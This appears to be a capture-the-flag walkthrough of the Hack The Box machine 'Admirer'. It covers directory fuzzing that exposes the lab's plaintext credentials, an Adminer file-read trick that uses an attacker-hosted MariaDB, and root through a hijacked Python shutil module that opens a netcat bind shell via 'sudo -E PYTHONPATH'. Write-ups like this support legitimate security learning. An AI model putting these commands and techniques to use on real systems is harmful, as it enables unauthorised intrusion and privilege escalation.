Admirer is a Linux box that features a vulnerable database setup and leveraging a maliciously crafted python library to achieve root.
Enumeration
We start off, as always, with an NMAP Scan.
Nmap scan report for 10.10.10.187
Host is up (0.12s latency).
Not shown: 997 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u7 (protocol 2.0)
| ssh-hostkey:
| 2048 4a:71:e9:21:63:69:9d:cb:dd:84:02:1a:23:97:e1:b9 (RSA)
| 256 c5:95:b6:21:4d:46:a4:25:55:7a:87:3e:19:a8:e7:02 (ECDSA)
|_ 256 d0:2d:dd:d0:5c:42:f8:7b:31:5a:be:57:c4:a9:a7:56 (ED25519)
80/tcp open http Apache httpd 2.4.25 ((Debian))
| http-robots.txt: 1 disallowed entry
|_/admin-dir
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Admirer
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
We have FTP, SSH, and an apache web sever to check out.
We check if FTP has anonymous access enabled. It does not so we are unable to do anything else with this part for now. SSH is also locked down so we move on to the web server.
There isn’t much here that we can see right off. We click around a bit but there doesn’t seem to be any other pages. There is a contact forum but notes in the code state that it is non functioning. Little can be determined from the pages source code.
We then take a look at /robots.txt
Ah. It seems the /admin-dir. Might contain some useful info. I would also bet that “waldo” is a user. This is where the box started to get a bit finicky. There are multiple items you need hidden in here. Tweaking your directory fuzzer ends up pretty important. This is the part of the box I probably lost the most time on.
There also seemed to be a lot of rabbit holes. Or at least initially Ffuf found almost everything as a redirect. However, we eventually find two files.
/admin-dir/contacts.txt
##########
# admins #
##########
# Penny
Email: p.wise@admirer.htb
##############
# developers #
##############
# Rajesh
Email: r.nayyar@admirer.htb
# Amy
Email: a.bialik@admirer.htb
# Leonard
Email: l.galecki@admirer.htb
#############
# designers #
#############
# Howard
Email: h.helberg@admirer.htb
# Bernadette
Email: b.rauch@admirer.htb
/admin-dir/credentials.txt
[Internal mail account]
w.cooper@admirer.htb
fgJr6q#S\W:$P
[FTP account]
ftpuser
%n?4Wz}R$tTF7
[Wordpress account]
admin
w0rdpr3ss01!
Foothold
We don’t know where the email or a Wordpress site might be. Fortunately, we know of FTP running on port 21. Also fortunately, these credentials allow us to gain access.
We have a couple things available here. One is a dump of a mysql database, the other is a compressed zip that contains a number of files from the site. We skim through and fine a directory called /utility-scripts that holds a number of php files. We cat these and find what looks like database credentials.
We don’t have a database to use these at though currently. We determine it would probably be wise to check into /utility-scripts with ffuf and see if there is anything else of interest there. This part took tweaking to find the right wordlist. Eventually, dirb’s big.txt pulled though.
.htaccess.php [Status: 403, Size: 277, Words: 20, Lines: 10]
.htaccess [Status: 403, Size: 277, Words: 20, Lines: 10]
.htpasswd.php [Status: 403, Size: 277, Words: 20, Lines: 10]
.htpasswd [Status: 403, Size: 277, Words: 20, Lines: 10]
adminer.php [Status: 200, Size: 4155, Words: 189, Lines: 52]
info.php [Status: 200, Size: 83802, Words: 4024, Lines: 962]
phptest.php [Status: 200, Size: 32, Words: 8, Lines: 1]
We have seen a couple of these before but adminer.php looks interesting. We navigate there and find a login to access databases. We try to login using the creds from db_admin.php to no avail.
We return to the old stand by of googling and it pulls through once again. Adminer vulnerability brings up the following article in the first search result.
https://www.foregenix.com/blog/serious-vulnerability-discovered-in-adminer-tool
In summery, if you have database creds you can use them to access files local to the remote machine by connecting to a database of your own and loading the files into a table. Explanation of this might be a bit rough. Databases are not a strong point.
I’m using Kali which already had mysql installed so we don’t need to do installation. Instead we just start the service and start interacting with it.
sudo systemctl start mysql
sudo mysql
We then need to create a databases and a table.
MariaDB [(none)]> create database admirer;
Query OK, 0 rows affected (0.002 sec)
MariaDB [(none)]> use admirer;
Query OK, 0 rows affected (0.000 sec)
MariaDB [(none)]> create table temp (data VARCHAR(500));
Query OK, 0 rows affected (0.001 sec)
Server is listening now we just need to complete a few more steps.
We then need to set up a user and grant them remote access to the database. I used this article as a reference point.
https://webdock.io/en/docs/how-guides/how-enable-remote-access-your-mariadbmysql-database
MariaDB [(none)]> create user 'admirer'@'localhost' identified by 'password';
Query OK, 0 rows affected (0.002 sec)
MariaDB [(none)]> grant all on admirer.* to 'admirer'@'10.10.10.187' identified by 'password';
Query OK, 0 rows affected (0.000 sec)
MariaDB [(none)]>
With this we are able to login to our remote database from Admirer and load files into our table. After a bit we check out index.php and find more creds for Waldo.
load data local infile '../index.php'
into table temp
fields terminated by "/n"
waldo:&<h5b~yK3F#{PaPB&dA}{H>
We attempt to login with ssh and are successful. Cat user.txt and on to root!
Root
Now for root. We copy linpeas to temp but it gets removed part way though enumerating. We get a notification about new mail. It seems that /tmp is getting cleared periodically as are /home/waldo*.p* That makes things a bit more challenging.
Rather than switching to a different directory, I decided to check some standard stuff manually, sudo -l for example. It prompts for a password which we enter.
We can see that we can execute a python script /opt/scripts/admin_tasks.sh and we can control the environment for its execution. That’s quite interesting. We take a look at the script and can see it is setup to preform a number of “administrative” functions.
Option 6, backup_web looks juicy. It runs a python script called backup.py located in the same directory.
#!/usr/bin/python3
from shutil import make_archive
src = '/var/www/html/'
# old ftp directory, not used anymore
#dst = '/srv/ftp/html'
dst = '/var/backups/html'
make_archive(dst, 'gztar', src)
We can see that it calls a python library. Because we can control the environment we can write and force the use of our own “version” of shutil. We head over to /tmp and create a shutil.py We then add the following code.
import os
os.system("nc -lvp 4444 -e /bin/sh")
We then run the program as root and specify the a python path as our current directory. That means that python will check here first before looking other places to find dependencies.
sudo -E PYTHONPATH=$(pwd) /opt/scripts/admin_tasks.sh
Select option 6, and a bind shell opens up we can connect to.
nc 10.10.10.187 4444
Upgrade shell to tty python -c 'import pty;pty.spawn("/bin/bash")' and we are root! Cat the flag and we are done!
Wrap up
Thanks to polarbearer & GibParadox for creating the machine. User was not my favorite but I’m just biased cause of lack of comfort working with databases. Root was a very fun privilege escalation though. I would have liked to make it work as a reverse shell but wasn’t able to make it work.